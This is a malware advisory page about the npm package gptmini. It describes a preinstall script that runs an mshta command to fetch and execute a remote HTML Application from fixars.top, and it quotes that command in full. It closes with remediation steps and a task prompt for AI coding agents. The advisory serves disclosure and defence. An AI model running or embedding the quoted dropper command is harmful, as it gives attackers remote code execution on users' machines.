# MAL-2026-6537: Malicious code in gptmini (npm)


- **Type:** Malicious package
- **Package:** `gptmini` (npm)
- **Published:** 26 Jun 2026

## What is MAL-2026-6537?

MAL-2026-6537 is a malicious package in gptmini, published on 26 Jun 2026. 

### Official description

On `npm install`, the package's preinstall lifecycle script (preinstall.js, declared via scripts.preinstall "node preinstall.js") shells out with `exec('cmd /c "mshta http://fixars.top"')`. This causes Windows to fetch and execute an HTML Application from the remote host fixars.top over plain HTTP at install time with no user interaction, yielding remote code execution on the installer's machine. The package presents itself as a Node.js wrapper for a GPT/OpenAI-style SDK (name `gptmini`, baseUrl https://api.openllm.ai/v1), with empty author metadata — an AI-SDK-shaped lure paired with an install-time dropper to an attacker-controlled domain unrelated to any documented publisher.

## What should I do about MAL-2026-6537?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6537 is a malicious package: gptmini (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6537/ (Markdown: https://insights.sbomify.com/MAL-2026-6537/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6537

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6537/
Summaries are generated and may contain mistakes; the official description above is the record.